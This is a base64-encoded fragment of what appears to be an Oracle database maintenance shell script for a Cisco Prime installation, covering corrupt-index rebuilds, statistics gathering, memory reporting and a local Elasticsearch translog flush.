gaW4gKFNFTEVDVCBzZWdtZW50X25hbWUgRlJPTSBkYmFfZXh0ZW50cyBhLFZcJERBVEFCQVNFX0JMT0NLX0NPUlJVUFRJT04gYiBXSEVSRSBhLmZpbGVfaWQgPSBiLmZpbGUjCkFORCAgYi5ibG9jayMgQkVUV0VFTiBhLmJsb2NrX2lkIEFORCBhLmJsb2NrX2lkICsgYS5ibG9ja3MgLSAxIGFuZCBzZWdtZW50X3R5cGU9J0lOREVYJyBhbmQgb3duZXIgaW4gKCdDRVBNJykgKSBPUkRFUiBCWSBvd25lcixpbmRleF9uYW1lICAgOwpleGNlcHRpb24gd2hlbiBvdGhlcnMgdGhlbiBudWxsOwplbmQ7CklGIHRhYl9pbmRleF90LkNvdW50PjAgIFRIRU4KCkZPUiBpIElOICB0YWJfaW5kZXhfdC5GSVJTVCAuLiB0YWJfaW5kZXhfdC5MQVNUIExPT1AKQkVHSU4KZXhlY3V0ZSBpbW1lZGlhdGUnIGluc2VydCBpbnRvIGRiX2Vycm9ycyB2YWx1ZXMgKHN5c3RpbWVzdGFtcCwgJydDT1JSVVBUSU5ERVgnJywnJ3N0YXJ0ZWQnJyknOwpjb21taXQ7CkRCTVNfT1VUUFVULlBVVF9MSU5FKCdBTFRFUiBJTkRFWCAnfHx0YWJfaW5kZXhfdChpKS50YWJsZV9uYW1lfHwnLid8fHRhYl9pbmRleF90KGkpLmluZGV4X25hbWUgfHwnIFJFQlVJTEQgT05MSU5FICAgUEFSQUxMRUwgIE5PTE9HR0lORycpOwpFWEVDVVRFIElNTUVESUFURSAnQUxURVIgSU5ERVggJ3x8dGFiX2luZGV4X3QoaSkudGFibGVfbmFtZXx8Jy4nfHx0YWJfaW5kZXhfdChpKS5pbmRleF9uYW1lIHx8JyBSRUJVSUxEIE9OTElORSAgIFBBUkFMTEVMICBOT0xPR0dJTkcnOwpEQk1TX09VVFBVVC5QVVRfTElORSgnaW5kZXggcmVidWlsZCBmb3IgICd8fHRhYl9pbmRleF90KGkpLmluZGV4X25hbWUgfHwnIGlzIGRvbmUnKTsKZXhlY3V0ZSBpbW1lZGlhdGUnIGluc2VydCBpbnRvIGRiX2Vycm9ycyB2YWx1ZXMgKHN5c3RpbWVzdGFtcCwgJydDT1JSVVBUSU5ERVgnJywgJydpbmRleCByZWJ1aWxkIGZvciAgJ3x8dGFiX2luZGV4X3QoaSkuaW5kZXhfbmFtZSB8fCcgaXMgZG9uZScnKSc7CkNPTU1JVDsKRVhDRVBUSU9OIFdIRU4gT1RIRVJTIFRIRU4KZW1lc2cgOj0gc3Vic3RyKFNRTEVSUk0sMSw0MDAwKTsKZGJtc19vdXRwdXQucHV0X2xpbmUoZW1lc2cpOwpleGVjdXRlIGltbWVkaWF0ZScgaW5zZXJ0IGludG8gZGJfZXJyb3JzIHZhbHVlcyAoc3lzdGltZXN0YW1wLCAnJ0NPUlJVUFRJTkRFWCcnLCAnJ2V4Y2VwdGlvbiBvY2N1cnJlZCAgYXQgJ3x8dGFiX2luZGV4X3QoaSkuaW5kZXhfbmFtZSB8fCcgaW5kZXggcmVidWlsZCAnIHx8IGVtZXNnfHwnJycpJzsKQ09NTUlUOwpFTkQgOwplbmQgbG9vcDsKCmVuZCBpZjsKZW5kOwovCgoKCnNobyBlcnI7CnNldCBzZXJ2ZXJvdXQgb247CmV4ZWMgcmVidWlsZF9jb3JyaW5kZXhlczsKCmV4aXQ7CkVPRgojbG9nc3lzMT1zeXN0ZW0vYC9vcHQvQ1NDT2NwbS9iaW4vZ2V0ZGJwdy5zaCBQQVBfQURNSU5fUFdEYAojbG9nc3lzMT0gL0BzeXN0ZW0xMCBhcyBzeXNkYmEKdGltZW91dCAzMDAgc3UgLSBvcmFjbGUgLWMgInNxbHBsdXMgL0BzeXN0ZW0xMCBhcyBzeXNkYmEgIEAvdG1wL2luZGV4X2NvcnIuc3FsIiAgIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KCgplY2hvICd2YWxpZGF0ZSB0YWJsZXNwYWNlIGNwbW5zOycgfCBzdSAtIG9yYWNsZSAtYyAicm1hbiB0YXJnZXQgL0BzeXN0ZW0xMCIgIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KCgoKY2F0ID4gL3RtcC9pbmRleF9jb3JyZml4X3JlYXR0ZW1wdC5zcWwgPDwgRU9GCmRlY2xhcmUKY250IG51bWJlcjsKZW1lc2cgdmFyY2hhcjIoNDAwMCk7CnRhYl9pbmRleF90ICAgdGFiX2luZGV4X250Oj10YWJfaW5kZXhfbnQoKTsKYmVnaW4Kc2VsZWN0IGNvdW50KCopIGludG8gY250IGZyb20gVlwkREFUQUJBU0VfQkxPQ0tfQ09SUlVQVElPTiA7CmlmIGNudCA+MCB0aGVuCgpiZWdpbgpmb3IgaSBpbiAoU0VMRUNUIGhlYWRlcl9ibG9jayxoZWFkZXJfZmlsZSx0YWJsZXNwYWNlX25hbWUgRlJPTSBkYmFfc2VnbWVudHMgYSxWXCREQVRBQkFTRV9CTE9DS19DT1JSVVBUSU9OIGIgCldIRVJFIGhlYWRlcl9maWxlID0gYi5maWxlIyBBTkQgIGIuYmxvY2sjID1oZWFkZXJfYmxvY2sgYW5kIHNlZ21lbnRfdHlwZT0nVEVNUE9SQVJZJykKTE9PUAogZGJtc19zcGFjZV9hZG1pbi5zZWdtZW50X2NvcnJ1cHQoaS50YWJsZXNwYWNlX25hbWUsIGkuaGVhZGVyX2ZpbGUsIGkuaGVhZGVyX2Jsb2NrKTsKIGRibXNfc3BhY2VfYWRtaW4uc2VnbWVudF9kcm9wX2NvcnJ1cHQoaS50YWJsZXNwYWNlX25hbWUsIGkuaGVhZGVyX2ZpbGUsIGkuaGVhZGVyX2Jsb2NrKTsKIGRibXNfc3BhY2VfYWRtaW4udGFibGVzcGFjZV9yZWJ1aWxkX2JpdG1hcHMoaS50YWJsZXNwYWNlX25hbWUpOwpFTkQgTE9PUDsKZW5kOwoKCmJlZ2luClNFTEVDVCAgdGFiX2luZGV4X29iaihvd25lcixpbmRleF9uYW1lKSBCVUxLIENPTExFQ1QgSU5UTyB0YWJfaW5kZXhfdCBGUk9NIGRiYV9pbmRleGVzICBXSEVSRSBvd25lciBpbiAoJ0NFUE0nKSBhbmQgaW5kZXhfdHlwZT0nTk9STUFMJyBPUkRFUiBCWSBvd25lcixpbmRleF9uYW1lICAgOwpleGNlcHRpb24gd2hlbiBvdGhlcnMgdGhlbiBudWxsOwplbmQ7CgoKSUYgdGFiX2luZGV4X3QuQ291bnQ+MCAgVEhFTgoKRk9SIGkgSU4gIHRhYl9pbmRleF90LkZJUlNUIC4uIHRhYl9pbmRleF90LkxBU1QgTE9PUApCRUdJTgpFWEVDVVRFIElNTUVESUFURSAnQUxURVIgSU5ERVggJ3x8dGFiX2luZGV4X3QoaSkudGFibGVfbmFtZXx8Jy4nfHx0YWJfaW5kZXhfdChpKS5pbmRleF9uYW1lIHx8JyBSRUJVSUxEIE9OTElORSAgIFBBUkFMTEVMICBOT0xPR0dJTkcnOwoKZXhlY3V0ZSBpbW1lZGlhdGUnIGluc2VydCBpbnRvIGRiX2Vycm9ycyB2YWx1ZXMgKHN5c3RpbWVzdGFtcCwgJydDT1JSVVBUSU5ERVgnJywgJydpbmRleCByZWJ1aWxkIGZvciAgJ3x8dGFiX2luZGV4X3QoaSkuaW5kZXhfbmFtZSB8fCcgaXMgZG9uZScnKSc7CkNPTU1JVDsKRVhDRVBUSU9OIFdIRU4gT1RIRVJTIFRIRU4KZW1lc2cgOj0gc3Vic3RyKFNRTEVSUk0sMSw0MDAwKTsKZGJtc19vdXRwdXQucHV0X2xpbmUoZW1lc2cpOwpleGVjdXRlIGltbWVkaWF0ZScgaW5zZXJ0IGludG8gZGJfZXJyb3JzIHZhbHVlcyAoc3lzdGltZXN0YW1wLCAnJ0NPUlJVUFRJTkRFWCcnLCAnJ2V4Y2VwdGlvbiBvY2N1cnJlZCAgYXQgJ3x8dGFiX2luZGV4X3QoaSkuaW5kZXhfbmFtZSB8fCcgaW5kZXggcmVidWlsZCAnIHx8IGVtZXNnfHwnICcnKSc7CkNPTU1JVDsKRU5EIDsKZW5kIGxvb3A7CmVuZCBpZjsgCmVuZCBpZjsKZW5kOwovCmV4aXQ7CkVPRgoKI2xvZ3N5czE9c3lzdGVtL2Avb3B0L0NTQ09jcG0vYmluL2dldGRicHcuc2ggUEFQX0FETUlOX1BXRGAKdGltZW91dCAzMDAgc3UgLSBvcmFjbGUgLWMgInNxbHBsdXMgL0BzeXN0ZW0xMCBhcyBzeXNkYmEgIEAvdG1wL2luZGV4X2NvcnJmaXhfcmVhdHRlbXB0LnNxbCIgIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KCgplY2hvICd2YWxpZGF0ZSB0YWJsZXNwYWNlIGNwbW5zOycgfCBzdSAtIG9yYWNsZSAtYyAicm1hbiB0YXJnZXQgL0BzeXN0ZW0xMCIgIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KCn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMgQ0VQTSBTdGF0cyBHYXRoZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwoKY2VwbVN0YXRzR2F0aGVyKCl7CgogIGVjaG8gJ1N0YXJ0aW5nIGdhdGhlciBzdGF0cyBmb3IgY2VwbTsnICAyPiYxIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCgogY2F0ID4gL3RtcC9jZXBtU3RhdHNHYXRoZXIuc3FsIDw8IEVPRgoKICAgIEJFR0lOCiAgICAgIGRibXNfc3RhdHMuZ2F0aGVyX3NjaGVtYV9zdGF0cyggJ0NFUE0nLCBkYm1zX3N0YXRzLmF1dG9fc2FtcGxlX3NpemUsIGZhbHNlLCAnRk9SIEFMTCBDT0xVTU5TIFNJWkUgYXV0bycsIGRibXNfc3RhdHMuZGVmYXVsdF9kZWdyZWUsJ0FMTCcsIHRydWUpOwogICAgRU5EOwogIC8KICBleGl0OwpFT0YKdGltZW91dCAyNDAgc3UgLSBvcmFjbGUgLWMgInNxbHBsdXMgL0BjcG0xMCAgQC90bXAvY2VwbVN0YXRzR2F0aGVyLnNxbCIgIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KCmVjaG8gJ0NvbXBsZXRlZCBnYXRoZXIgc3RhdHMgZm9yIGNlcG07JyAgMj4mMSB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwoKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKIyBNb25pdG9yaW5nIE9yYWNsZSAgbWVtb3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKCgptZW1vcnlTdGF0cygpewpzaWQ9Y3BtMTAKCmlmIFsgImBwcyAtZWYgfCBncmVwIHBtb24gfCBncmVwIC12IGdyZXAgfCBhd2sgJ3twcmludCAkTkZ9J3wgY3V0IC1jIDEwLSB8IGdyZXAgLXcgJHNpZGAiICE9ICIiIF0KdGhlbgptZW1fYz0wCm9zX3A9YHVuYW1lYAppZiBbICIkb3NfcCIgPSAiTGludXgiIF07IHRoZW4KZm9yIHggaW4gYHBzIGF1eCAtLXNvcnQgLXJzcyB8IGdyZXAgb3JhY2xlIHwgZ3JlcCAkc2lkIHwgYXdrICd7cHJpbnQgJDZ9J2AKZG8KbWVtX2M9YGV4cHIgJG1lbV9jICsgJHhgCmRvbmUKZWxpZiBbICIkb3NfcCIgPSAiU3VuT1MiIF0gOyB0aGVuCmZvciB4IGluIGBwcyAtZWYgLW8gdXNlcixyc3MsY29tbSB8IGdyZXAgb3JhY2xlIHwgZ3JlcCAkc2lkIHwgYXdrICd7cHJpbnQgJDJ9J2AKZG8KbWVtX2M9YGV4cHIgJG1lbV9jICsgJHhgCmRvbmUKZmkKbWVtX2M9YGV4cHIgJG1lbV9jIC8gMTBgCm1lbV9jPWBleHByICRtZW1fYyAvIDEwMjRgCm1lbV9jPWBleHByICRtZW1fYyAvIDEwMjRgCgplY2hvICJUb3RhbCBQaHlzaWNhbCBNZW1vcnkgY29uc3VtZWQgYnkgT3JhY2xlIEluc3RhbmNlICRzaWQgaXM6ICRtZW1fYyBHQiIgPj4gL29wdC9DU0NPY3BtL2xvZ3MvY29sbGVjdG9yLmxvZwoKZWxzZQplY2hvICJJbnZhbGlkIE9yYWNsZSBTSUQiCmZpCgpjYXQgPiAvdG1wL21lbW9yeXN0YXRzLnNxbCA8PCBFT0YKc2V0IHBhZ2VzaXplIDEwMDAwCnNldCBsaW5lc2l6ZSAxMDAwMApzZXQgdHJpbW91dCBvbgpzZXQgbnVsbCAnICcKCgpjb2x1bW4gY29tcG9uZW50IGZvcm1hdCBhMzAKY29sdW1uIGN1cnJlbnRfc2l6ZSBmb3JtYXQgOTk5OTk5CmNvbHVtbiBtYXhfc2l6ZSBmb3JtYXQgOTk5OTk5CgpzZWxlY3QgY29tcG9uZW50LCBjdXJyZW50X3NpemUvKDEwMjQqMTAyNCoxMDI0KSBjdXJyZW50X3NpemUgLG1heF9zaXplLygxMDI0KjEwMjQqMTAyNCkgbWF4X3NpemUgIGZyb20gIHZcJG1lbW9yeV9keW5hbWljX2NvbXBvbmVudHMgdDsKCmNvbHVtbiBwb29sIGZvcm1hdCBhMzAKY29sdW1uIGJ5dGVzIGZvcm1hdCA5OTk5OTkKY29sdW1uIHR5cGUgZm9ybWF0IGEzMApjb2x1bW4gc3VtX29mX3Bvb2xtZW1vcnkgZm9ybWF0IDk5OTk5OQpjb2x1bW4gdG90YWxfc2dhIGZvcm1hdCA5OTk5OTkKCnNlbGVjdCBhLiosIHN1bShieXRlcykgb3ZlcihwYXJ0aXRpb24gYnkgcG9vbCBvcmRlciBieSBwb29sKSBzdW1fb2ZfcG9vbG1lbW9yeSAsIHN1bShieXRlcykgb3ZlcigpIHRvdGFsX3NnYSBmcm9tICggCnNlbGVjdCBwb29sLHJvdW5kKHN1bShieXRlcyksMikgYnl0ZXMgLCB0eXBlIGZyb20gKHNlbGVjdCBwb29sLChieXRlcykvKDEwMjQqMTAyNCoxMDI0KSBieXRlcywgJ3VzZWQgbWVtb3J5JyB0eXBlIGZyb20gdlwkc2dhc3RhdCB3aGVyZSBwb29sIGlzIG5vdCBudWxsIGFuZCAgbmFtZSE9J2ZyZWUgbWVtb3J5JyApIGdyb3VwIGJ5IHBvb2wsdHlwZQp1bmlvbgpzZWxlY3QgcG9vbCxyb3VuZChzdW0oYnl0ZXMpLDIpICwgdHlwZSBmcm9tIChzZWxlY3QgcG9vbCwoYnl0ZXMpLygxMDI0KjEwMjQqMTAyNCkgYnl0ZXMgLCAnZnJlZSBtZW1vcnknIHR5cGUgZnJvbSB2XCRzZ2FzdGF0IHdoZXJlIHBvb2wgaXMgbm90IG51bGwgYW5kIG5hbWU9J2ZyZWUgbWVtb3J5JykgZ3JvdXAgYnkgcG9vbCx0eXBlICAKdW5pb24Kc2VsZWN0IG5hbWUscm91bmQoYnl0ZXMvKDEwMjQqMTAyNCoxMDI0KSwyKSwndXNlZCBtZW1vcnknIGZyb20gdlwkc2dhc3RhdCB3aGVyZSBwb29sIGlzIG51bGwKKSBhIG9yZGVyIGJ5IHBvb2wsdHlwZSA7CgoKY29sdW1uIG5hbWUgZm9ybWF0IGEzMApjb2x1bW4gdmFsdWVfR0IgZm9ybWF0IDk5OTk5OQoKc2VsZWN0IG5hbWUscm91bmQodmFsdWUvKDEwMjQqMTAyNCoxMDI0KSwyKSB2YWx1ZV9HQiBmcm9tIHZcJHBnYXN0YXQgOwoKZHJvcCB0YWJsZSB0ZW1wMTsKQ1JFQVRFIFRBQkxFIHRlbXAxICBBUwpTRUxFQ1QgICAKICAgICAgICAgby5vd25lciBvd25lciwgCiAgICAgICAgIG8ub2JqZWN0X25hbWUgb2JqZWN0X25hbWUsCiAgICAgICAgIG8uc3Vib2JqZWN0X25hbWUgc3Vib2JqZWN0X25hbWUsIAogICAgICAgICBvLm9iamVjdF90eXBlIG9iamVjdF90eXBlLAogICAgICAgICBDT1VOVChESVNUSU5DVCBGSUxFIyB8fCBCTE9DSyMpIG51bV9ibG9ja3MsIAogICAgICAgICBzLnRhYmxlc3BhY2VfbmFtZSB0YWJsZXNwYWNlX25hbWUsCiAgICAgICAgIHMuYnVmZmVyX3Bvb2wgYnVmZmVyX3Bvb2wKICAgIEZST00gREJBX1NFR01FTlRTIHMsIERCQV9PQkpFQ1RTIG8sIHZcJGJoIGJoCiAgIFdIRVJFIG8uZGF0YV9vYmplY3RfaWQgPSBiaC5vYmpkCiAgICAgQU5EIHMuc2VnbWVudF9uYW1lID0gby5vYmplY3RfbmFtZQogICAgIEFORCBvLm93bmVyIE5PVCBJTiAoJ1NZUycsICdTWVNURU0nKQogICAgIGFuZCBzLnRhYmxlc3BhY2VfbmFtZT0nTU5UTlMnCiAgICAgQU5EIGJoLnN0YXR1cyAhPSAnZnJlZScKICAgICBhbmQgby5vd25lcj0nTU5UJwpHUk9VUCBCWSBvLm93bmVyLAogICAgICAgICBvLm9iamVjdF9uYW1lLAogICAgICAgICBvLnN1Ym9iamVjdF9uYW1lLAogICAgICAgICBvLm9iamVjdF90eXBlLAogICAgICAgICBzLnRhYmxlc3BhY2VfbmFtZSwKICAgICAgICAgcy5CVUZGRVJfUE9PTApPUkRFUiBCWSBDT1VOVCAoRElTVElOQ1QgRklMRSMgfHwgQkxPQ0sjKSBERVNDOwoKY29sdW1uIGRlc2NyaXB0aW9uIGZvcm1hdCBhNTAKY29sdW1uIHZhbHVlX0dCIGZvcm1hdCA5OTk5OTkKCnNlbGVjdCBkZXNjcmlwdGlvbiwgcm91bmQoIG1lZ2FieXRlcy8xMDI0ICwyKSB2YWx1ZV9HQiBmcm9tICgKU0VMRUNUCiAnS0VFUCBQT09MIE1FR0FCWVRFUyBJTiBVU0U6ICcgQVMgREVTQ1JJUFRJT04sCiAgICAgICAoU1VNIChudW1fYmxvY2tzKSAqIDggKSAvIDEwMjQgIEFTIE1FR0FCWVRFUwogIEZST00gdGVtcDEKIFdIRVJFIEJVRkZFUl9QT09MID0gJ0tFRVAnClVOSU9OIEFMTApTRUxFQ1QgJ0tFRVAgUE9PTCBNRUdBQllURVMgQ09ORklHVVJFRDogJywgVE9fTlVNQkVSIChWQUxVRSkgLyAxMDI0IC8gMTAyNAogIEZST00gdlwkcGFyYW1ldGVyCiBXSEVSRSBOQU1FID0gJ2RiX2tlZXBfY2FjaGVfc2l6ZScKVU5JT04gQUxMClNFTEVDVCAnS0VFUCBQT09MIE1BWElNVU0gVVNBQkxFIEFSRUE6ICcsKHNldF9tc2l6ZSAqIGJsb2NrX3NpemUpIC8gMTAyNCAvIDEwMjQKICBGUk9NIHZcJGJ1ZmZlcl9wb29sX3N0YXRpc3RpY3MKIFdIRVJFIE5BTUUgPSAnS0VFUCcKVU5JT04gQUxMClNFTEVDVCAnUkVDWUNMRSBQT09MIE1FR0FCWVRFUyBJTiBVU0U6ICcsCiAgICAgICAoU1VNIChudW1fYmxvY2tzKSAqIDggKSAvIDEwMjQgCiAgRlJPTSB0ZW1wMQogV0hFUkUgQlVGRkVSX1BPT0wgPSAnUkVDWUNMRScKVU5JT04gQUxMClNFTEVDVCAnUkVDWUNMRSBQT09MIE1FR0FCWVRFUyBDT05GSUdVUkVEOiAnLCBUT19OVU1CRVIgKFZBTFVFKSAvIDEwMjQgLyAxMDI0CiAgRlJPTSB2XCRwYXJhbWV0ZXIKIFdIRVJFIE5BTUUgPSAnZGJfcmVjeWNsZV9jYWNoZV9zaXplJwpVTklPTiBBTEwgClNFTEVDVCAnUkVDWUNMRSBQT09MIE1BWElNVU0gVVNBQkxFIEFSRUE6ICcsKHNldF9tc2l6ZSAqIGJsb2NrX3NpemUpIC8gMTAyNCAvIDEwMjQKICBGUk9NIHZcJGJ1ZmZlcl9wb29sX3N0YXRpc3RpY3MKIFdIRVJFIE5BTUUgPSAnUkVDWUNMRScKVU5JT04gQUxMClNFTEVDVCAnOGsgREVGQVVMVCBQT09MIE1FR0FCWVRFUyBJTiBVU0U6ICcsCiAgICAgICAoU1VNIChudW1fYmxvY2tzKSAqIDggKSAvIDEwMjQgCiAgRlJPTSB0ZW1wMQogV0hFUkUgQlVGRkVSX1BPT0wgPSAnREVGQVVMVCcgClVOSU9OIEFMTApTRUxFQ1QgJzhrIERFRkFVTFQgUE9PTCBNRUdBQllURVMgQ09ORklHVVJFRDogJywgVE9fTlVNQkVSIChWQUxVRSkgLyAxMDI0IC8gMTAyNAogIEZST00gdlwkcGFyYW1ldGVyCiBXSEVSRSBOQU1FID0gJ2RiX2NhY2hlX3NpemUnCiBVTklPTiBBTEwKIFNFTEVDVCAnOEsgREVGQVVMVCBQT09MIE1BWElNVU0gVVNBQkxFIEFSRUE6ICcsKHNldF9tc2l6ZSAqIGJsb2NrX3NpemUpIC8gMTAyNCAvIDEwMjQKICBGUk9NIHZcJGJ1ZmZlcl9wb29sX3N0YXRpc3RpY3MKIFdIRVJFIE5BTUUgPSAnREVGQVVMVCcgQU5EIGJsb2NrX3NpemUgPSA4MTkyCiAgKSA7CiAgCgoKY29sdW1uIGJ1ZmZlcl9wb29sIGZvcm1hdCBhMzAKY29sdW1uIE9CSkVDVF9OQU1FIGZvcm1hdCBhMzAKY29sdW1uIE9CSkVDVF9UWVBFIGZvcm1hdCBhMzAKY29sdW1uIE9CSkVDVF9CTE9DS1MgZm9ybWF0IDk5OTk5OQpjb2x1bW4gQ0FDSEVEX0JMT0NLUyBmb3JtYXQgOTk5OTk5CiAgClNFTEVDVCBkcy5idWZmZXJfcG9vbCwgIGRvLk9CSkVDVF9OQU1FLGRvLk9CSkVDVF9UWVBFLApkcy5ibG9ja3MgT0JKRUNUX0JMT0NLUywgQ09VTlQgICgqKSBDQUNIRURfQkxPQ0tTCkZST00gZGJhX29iamVjdHMgZG8sIGRiYV9zZWdtZW50cyBkcywgdlwkYmggdgpXSEVSRSBkby5kYXRhX29iamVjdF9pZD1WLk9CSkQKQU5EIGRvLm93bmVyPWRzLm93bmVyKCspIGFuZCBkby5vd25lcj0nTU5UJwpBTkQgZG8ub2JqZWN0X25hbWU9ZHMuc2VnbWVudF9uYW1lKCspCkFORCBETy5PQkpFQ1RfVFlQRT1EUy5TRUdNRU5UX1RZUEUoKykKQU5EIGRzLmJ1ZmZlcl9wb29sIElOICgnS0VFUCcpCkdST1VQIEJZIGRzLmJ1ZmZlcl9wb29sLCBkby5vYmplY3RfbmFtZSwgZHMuYmxvY2tzLE9CSkVDVF9UWVBFCk9SREVSIEJZIGRvLm9iamVjdF9uYW1lLCBkcy5idWZmZXJfcG9vbDsKCgpjb2x1bW4gYnVmZmVyX3Bvb2wgZm9ybWF0IGEzMApjb2x1bW4gT0JKRUNUX05BTUUgZm9ybWF0IGEzMApjb2x1bW4gU1VCT0JKRUNUX05BTUUgZm9ybWF0IGEzMApjb2x1bW4gT0JKRUNUX1RZUEUgZm9ybWF0IGEyMApjb2x1bW4gT0JKRUNUX0JMT0NLUyBmb3JtYXQgOTk5OTk5CmNvbHVtbiBDQUNIRURfQkxPQ0tTIGZvcm1hdCA5OTk5OTkKClNFTEVDVCBkcy5idWZmZXJfcG9vbCwgZG8uT0JKRUNUX05BTUUsIGRvLlNVQk9CSkVDVF9OQU1FLGRvLk9CSkVDVF9UWVBFLApkcy5ibG9ja3MgT0JKRUNUX0JMT0NLUywgQ09VTlQgICgqKSBDQUNIRURfQkxPQ0tTCkZST00gZGJhX29iamVjdHMgZG8sIGRiYV9zZWdtZW50cyBkcywgdlwkYmggdgpXSEVSRSBkby5kYXRhX29iamVjdF9pZD1WLk9CSkQKQU5EIGRvLm93bmVyPWRzLm93bmVyKCspIGFuZCBkby5vd25lcj0nTU5UJwpBTkQgZG8ub2JqZWN0X25hbWU9ZHMuc2VnbWVudF9uYW1lKCspCkFORCBkby5zdWJvYmplY3RfbmFtZT1kcy5wYXJ0aXRpb25fbmFtZSgrKQpBTkQgRE8uT0JKRUNUX1RZUEU9RFMuU0VHTUVOVF9UWVBFKCspCkFORCBkcy5idWZmZXJfcG9vbCBJTiAoJ0tFRVAnKQpHUk9VUCBCWSBkcy5idWZmZXJfcG9vbCwgZG8ub2JqZWN0X25hbWUsZG8uT0JKRUNUX1RZUEUsIGRvLnN1Ym9iamVjdF9uYW1lLCBkcy5ibG9ja3MKT1JERVIgQlkgZG8ub2JqZWN0X25hbWUsIGRzLmJ1ZmZlcl9wb29sOwogIAogIApleGl0OwpFT0YKCmxvZyAzICJPcmFjbGUgU0dBL1BHQSBNZW1vcnkgdXNhZ2UuLi4gIgp0aW1lb3V0IDEyMCBzdSAtIG9yYWNsZSAtYyAic3FscGx1cyAvQHN5c3RlbTEwIGFzIHN5c2RiYSBAL3RtcC9tZW1vcnlzdGF0cy5zcWwiID4gL3RtcC9tZW1zdGF0LmxvZwpjYXQgL3RtcC9tZW1zdGF0LmxvZyA+PiAvb3B0L0NTQ09jcG0vbG9ncy9jb2xsZWN0b3IubG9nCnJtIC1mIC90bXAvbWVtb3J5c3RhdHMuc3FsCn0KCmZsdXNoRVNUcmFuc2xvZ3MoKQp7CmxvZyAzICJGbHVzaGluZyBFbGFzdGljc2VhcmNoIHRyYW5zbG9ncyIKY3VybCAtbSAzNjAgLWlrIC1YUE9TVCAiaHR0cDovL2xvY2FsaG9zdDo5MjAwL19hbGwvX2ZsdXNoP2ZvcmNlPXRydWUiIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KfQoKV2Vla2x5am9icygpCnsKV0VFS0RBWT1gZGF0ZSArJWFgCldFRUtIUj1gZGF0ZSArJUhgCgppZiBbICIkV0VFS0RBWSAiID09ICJTdW4gIiBdICYmIFsgIiRXRUVLSFIgIiA9PSAiMDEgIiBdIDsgdGhlbgoKZWNobyAiQ2hlY2tpbmcgZm9yIGxhcmdlIGluZGV4ZXMiIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCgpjYXQgPiAvdG1wL2luZGV4Y29sbGVjdC5zcWwgPDwgRU9GCgpTZXQgc2VydmVyb3V0cHV0IG9uIGZvcm1hdCBXUkFQUEVEOwpkZWNsYXJlCiAgICBuZXdfaW5kZXhfc2l6ZSBmbG9hdDsKICAgIGluZGV4X3RocmVzaGhvbGRfdmFsIE5VTUJFUiA6PSA1Oy0tNUdCCiAgICBzdGFydF90aW1lIFRJTUVTVEFNUDsKICAgIGVuZF90aW1lIFRJTUVTVEFNUDsKICAgIHR5cGUgdGFibGVfcmVjb3JkcyBpcyByZWNvcmQKICAgICgKICAgICAgICBHQiBGTE9BVCwKICAgICAgICBzZWdtZW50X25hbWUgdmFyY2hhcjIoMTI4KQogICAgKTsKICAgIGluZF9pbmRleF9zdG9yZSB0YWJsZV9yZWNvcmRzOwpiZWdpbgoKICAgIC0tRGVsZXRpbmcgdGhlIHRlbXBvcmFyeSB0YWJsZSBpZiBpdCBleGlzdHMKICAgIGJlZ2luCiAgICAgICAgICBleGVjdXRlIGltbWVkaWF0ZSAnZHJvcCB0YWJsZSB0ZW1wX2xhcmdlX2luZGV4JzsKICAgICAgICAgIGV4ZWN1dGUgaW1tZWRpYXRlICdpbnNlcnQgaW50byBkYl9sb2cgdmFsdWVzIChTWVNUSU1FU1RBTVAsICcnYmVmb3JlX2luZGV4X3JlYnVpbGRpbmcnJywnJyBGb3VuZCBvbGQgdGVtcG9yYXJ5IHRhYmxlIHNvIGRlbGV0aW5nIGl0IGFuZCBjcmVhdGluZyBuZXcnJyknOwogICAgRVhDRVBUSU9OIFdIRU4gT1RIRVJTIFRIRU4KICAgICAgICAgIGV4ZWN1dGUgaW1tZWRpYXRlICdpbnNlcnQgaW50byBkYl9sb2cgdmFsdWVzIChTWVNUSU1FU1RBTVAsICcnYmVmb3JlX2luZGV4X3JlYnVpbGRpbmcnJywnJ1RlbXBvcmFyeSB0YWJsZSBub3QgcHJlc2VudCBzbyBjcmVhdGluZyBpdCcnKSc7CiAgICBlbmQ7CiAgICAtLSBDcmVhdGluZyBhIHRlbXBvcmFyeSB0YWJsZQogICAgZXhlY3V0ZSBpbW1lZGlhdGUgJ2NyZWF0ZSB0YWJsZSB0ZW1wX2xhcmdlX2luZGV4ICggR0IgRkxPQVQsIGluZGV4X25hbWUgdmFyY2hhcjIoMTI4KSknOwogICAgLS0gSXRlcmF0aW5nIHRocm91Z2ggYWxsIHRoZSB0YWJsZSBpbiBtbnQgdGFibGUgc3BhY2UKICAgIGZvciBjX3JlYyBpbiAoc2VsZWN0IFJPVU5EKHN1bShieXRlcy8oMTAyNCoxMDI0KjEwMjQpKSwyKSB0YWJsZV9zaXplLCBzZWdtZW50X25hbWUsIHNlZ21lbnRfdHlwZSBmcm9tIHVzZXJfc2VnbWVudHMgd2hlcmUgdGFibGVzcGFjZV9uYW1lID0gJ01OVE5TJyBhbmQgc2VnbWVudF90eXBlIGluICgnVEFCTEUgUEFSVElUSU9OJykgZ3JvdXAgYnkgc2VnbWVudF9uYW1lLHNlZ21lbnRfdHlwZSBvcmRlciBieSAxIGRlc2MpCiAgICBsb29wCiAgICAgICAgLS0gSXRlcmF0aW5nIHRocm91Z2ggYWxsIHRoZSBpbmRleCBmb3IgZWFjaCB0YWJsZS4KICAgICAgICBmb3IgY19yZWNfa